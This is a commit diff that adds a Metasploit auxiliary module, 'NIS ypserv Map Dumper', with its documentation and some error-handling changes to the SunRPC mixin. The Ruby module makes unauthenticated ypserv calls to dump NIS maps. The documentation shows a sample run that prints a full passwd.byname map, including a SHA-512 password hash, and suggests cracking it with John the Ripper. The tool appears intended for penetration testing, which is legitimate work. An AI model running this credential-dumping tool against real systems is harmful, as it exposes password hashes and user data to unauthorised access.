commit
4b225c30fd
|
@ -0,0 +1,108 @@
|
|||
## Intro
|
||||
|
||||
If you've worked with old Unix systems before, you've probably
|
||||
encountered NIS (Network Information Service). The most familiar way of
|
||||
describing it is a sort of hybrid between DNS and LDAP.
|
||||
|
||||
[Oracle][1] says the following about it:
|
||||
|
||||
> NIS is a distributed naming service. It is a mechanism for identifying and locating network objects and resources. It provides a uniform storage and retrieval method for network-wide information in a transport-protocol and media-independent fashion.
|
||||
|
||||
And on its use:
|
||||
|
||||
> By running NIS, the system administrator can distribute administrative databases, called maps, among a variety of servers (master and slaves). The administrator can update those databases from a centralized location in an automatic and reliable fashion to ensure that all clients share the same naming service information in a consistent manner throughout the network.
|
||||
|
||||
The module documented within will allow a tester to dump any map from an
|
||||
NIS server (running as `ypserv`). Usually, maps like `passwd.byname`
|
||||
contain things like hashes and user info, which can go a long way during
|
||||
a pentest.
|
||||
|
||||
## Setup
|
||||
|
||||
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
|
||||
If the link is down, you can find it via the Wayback Machine.
|
||||
|
||||
## Options
|
||||
|
||||
**PROTOCOL**
|
||||
|
||||
Set this to either TCP or UDP. TCP is the default due to easy discovery.
|
||||
|
||||
**DOMAIN**
|
||||
|
||||
Set this to your NIS domain.
|
||||
|
||||
**MAP**
|
||||
|
||||
Set this to the NIS map you want to dump. The default is `passwd`. You
|
||||
can use the nicknames described in the module info instead of the full
|
||||
map names.
|
||||
|
||||
**XDRTimeout**
|
||||
|
||||
Set this to the timeout in seconds for XDR decoding of the response.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf > use auxiliary/gather/nis_ypserv_map
|
||||
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.0.2
|
||||
rhost => 192.168.0.2
|
||||
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
|
||||
domain => gesellschaft
|
||||
msf auxiliary(gather/nis_ypserv_map) > run
|
||||
|
||||
[+] 192.168.0.2:111 - Dumping map passwd.byname on domain gesellschaft:
|
||||
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
games:*:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
sys:*:3:3:sys:/dev:/usr/sbin/nologin
|
||||
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
|
||||
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
bin:*:2:2:bin:/bin:/usr/sbin/nologin
|
||||
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
sync:*:4:65534:sync:/bin:/bin/sync
|
||||
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
|
||||
uuidd:*:108:112::/run/uuidd:/bin/false
|
||||
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
|
||||
root:*:0:0:root:/root:/bin/bash
|
||||
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
|
||||
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
|
||||
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
messagebus:*:107:111::/var/run/dbus:/bin/false
|
||||
_apt:*:105:65534::/nonexistent:/bin/false
|
||||
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
syslog:*:104:108::/home/syslog:/bin/false
|
||||
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
|
||||
pollinate:*:111:1::/var/cache/pollinate:/bin/false
|
||||
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
lxd:*:106:65534::/var/lib/lxd/:/bin/false
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(gather/nis_ypserv_map) >
|
||||
```
|
||||
|
||||
After dumping a map, you can find it stored in `loot` later. You should
|
||||
be able to run something like John the Ripper directly on the
|
||||
`passwd.byname` map.
|
||||
|
||||
```
|
||||
msf auxiliary(gather/nis_ypserv_map) > loot
|
||||
|
||||
Loot
|
||||
====
|
||||
|
||||
host service type name content info path
|
||||
---- ------- ---- ---- ------- ---- ----
|
||||
192.168.0.2 passwd.byname text/plain /home/wvu/.msf4/loot/20180108143013_default_192.168.0.2_passwd.byname_509006.txt
|
||||
|
||||
msf auxiliary(gather/nis_ypserv_map) >
|
||||
```
|
||||
|
||||
[1]: https://docs.oracle.com/cd/E23824_01/html/821-1455/anis1-25461.html
|
|
@ -36,7 +36,7 @@ module Exploit::Remote::SunRPC
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 5])
|
||||
OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 10])
|
||||
# XXX: Use portmapper to do call - Direct portmap to make the request to the program portmap_req
|
||||
], Msf::Exploit::Remote::SunRPC)
|
||||
|
||||
|
@ -70,7 +70,12 @@ module Exploit::Remote::SunRPC
|
|||
ret = rpcobj.create
|
||||
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to Portmap request" unless ret
|
||||
|
||||
begin
|
||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
|
||||
rescue Rex::ArgumentError
|
||||
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
|
||||
end
|
||||
|
||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
|
||||
err = "#{rhost}:#{rport} - SunRPC - Portmap request failed: "
|
||||
err << 'Message not accepted' if arr[1] != MSG_ACCEPTED
|
||||
|
@ -86,7 +91,12 @@ module Exploit::Remote::SunRPC
|
|||
ret = rpcobj.call(proc, buf, timeout)
|
||||
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret
|
||||
|
||||
begin
|
||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
|
||||
rescue Rex::ArgumentError
|
||||
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
|
||||
end
|
||||
|
||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS
|
||||
progname = progresolv(rpcobj.program)
|
||||
err = "SunRPC call for program #{rpcobj.program} [#{progname}], procedure #{proc}, failed: "
|
||||
|
@ -127,7 +137,13 @@ module Exploit::Remote::SunRPC
|
|||
# XXX: Incomplete. Just moved from Rex::Proto::SunRPC::Client
|
||||
def portmap_qry()
|
||||
ret = portmap_req()
|
||||
|
||||
begin
|
||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
|
||||
rescue Rex::ArgumentError
|
||||
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
|
||||
end
|
||||
|
||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
|
||||
progname = progresolv(rpcobj.program)
|
||||
err = "Query for program #{rpcobj.program} [#{progname}] failed: "
|
||||
|
|
|
@ -0,0 +1,167 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SunRPC
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NIS ypserv Map Dumper',
|
||||
'Description' => %q{
|
||||
This module dumps the specified map from NIS ypserv.
|
||||
|
||||
The following examples are from ypcat -x:
|
||||
|
||||
Use "ethers" for map "ethers.byname"
|
||||
Use "aliases" for map "mail.aliases"
|
||||
Use "services" for map "services.byname"
|
||||
Use "protocols" for map "protocols.bynumber"
|
||||
Use "hosts" for map "hosts.byname"
|
||||
Use "networks" for map "networks.byaddr"
|
||||
Use "group" for map "group.byname"
|
||||
Use "passwd" for map "passwd.byname"
|
||||
|
||||
You may specify a map by one of the nicknames above.
|
||||
},
|
||||
'Author' => 'wvu',
|
||||
'References' => [
|
||||
['URL', 'https://tools.ietf.org/html/rfc1831'],
|
||||
['URL', 'https://tools.ietf.org/html/rfc4506']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'tcp', %w{tcp udp}]),
|
||||
OptString.new('DOMAIN', [true, 'NIS domain']),
|
||||
OptString.new('MAP', [true, 'NIS map to dump', 'passwd'])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
proto = datastore['PROTOCOL']
|
||||
domain = datastore['DOMAIN']
|
||||
map_name = nick_to_map(datastore['MAP'])
|
||||
|
||||
begin
|
||||
sunrpc_create(
|
||||
proto, # Protocol: TCP (6)
|
||||
100004, # Program: YPSERV (100004)
|
||||
2 # Program Version: 2
|
||||
)
|
||||
rescue Rex::ConnectionError
|
||||
print_error('Could not connect to portmapper')
|
||||
return
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
print_error('Could not connect to ypserv')
|
||||
return
|
||||
end
|
||||
|
||||
# Flavor: AUTH_NULL (0)
|
||||
sunrpc_authnull
|
||||
|
||||
# XXX: domain and map_name are modified in place
|
||||
ypserv_all_call = Rex::Encoder::XDR.encode(
|
||||
domain, # Domain: [redacted]
|
||||
map_name # Map Name: passwd.byname
|
||||
)
|
||||
|
||||
begin
|
||||
res = sunrpc_call(
|
||||
8, # Procedure: ALL (8)
|
||||
ypserv_all_call # Yellow Pages Service ALL call
|
||||
)
|
||||
rescue Rex::Proto::SunRPC::RPCError
|
||||
print_error('Could not call ypserv procedure')
|
||||
return
|
||||
ensure
|
||||
# Shut it down! Shut it down forever!
|
||||
sunrpc_destroy
|
||||
end
|
||||
|
||||
if res.nil? || res.length < 8
|
||||
print_error('Invalid response from server')
|
||||
return
|
||||
end
|
||||
|
||||
# XXX: Rex::Encoder::XDR doesn't do signed ints
|
||||
case res[4, 4].unpack('l>').first
|
||||
# Status: YP_NOMAP (-1)
|
||||
when -1
|
||||
print_error("Invalid map #{map_name} specified")
|
||||
return
|
||||
# Status: YP_NODOM (-2)
|
||||
when -2
|
||||
print_error("Invalid domain #{domain} specified")
|
||||
return
|
||||
end
|
||||
|
||||
map = begin
|
||||
Timeout.timeout(datastore['XDRTimeout']) do
|
||||
parse_map(res)
|
||||
end
|
||||
rescue Timeout::Error
|
||||
print_error('XDR decoding timed out (try increasing XDRTimeout?)')
|
||||
return
|
||||
end
|
||||
|
||||
if map.nil? || map.empty?
|
||||
print_error("Could not parse map #{map_name}")
|
||||
return
|
||||
end
|
||||
|
||||
map_file = map.values.join("\n") + "\n"
|
||||
|
||||
print_good("Dumping map #{map_name} on domain #{domain}:\n#{map_file}")
|
||||
|
||||
# XXX: map_name contains null bytes if its length isn't a multiple of four
|
||||
store_loot(map_name.strip, 'text/plain', rhost, map_file)
|
||||
end
|
||||
|
||||
def parse_map(res)
|
||||
map = {}
|
||||
|
||||
loop do
|
||||
begin
|
||||
# XXX: res is modified in place
|
||||
_, status, value, key = Rex::Encoder::XDR.decode!(
|
||||
res,
|
||||
Integer, # More: Yes
|
||||
Integer, # Status: YP_TRUE (1)
|
||||
String, # Value: [redacted]
|
||||
String # Key: [redacted]
|
||||
)
|
||||
|
||||
status == 1 ? map[key] = value : break
|
||||
rescue Rex::ArgumentError
|
||||
vprint_status("Finished XDR decoding at #{res.inspect}")
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
map
|
||||
end
|
||||
|
||||
# ypcat -x
|
||||
def nick_to_map(nick)
|
||||
{
|
||||
'ethers' => 'ethers.byname',
|
||||
'aliases' => 'mail.aliases',
|
||||
'services' => 'services.byname',
|
||||
'protocols' => 'protocols.bynumber',
|
||||
'hosts' => 'hosts.byname',
|
||||
'networks' => 'networks.byaddr',
|
||||
'group' => 'group.byname',
|
||||
'passwd' => 'passwd.byname'
|
||||
}[nick] || nick
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue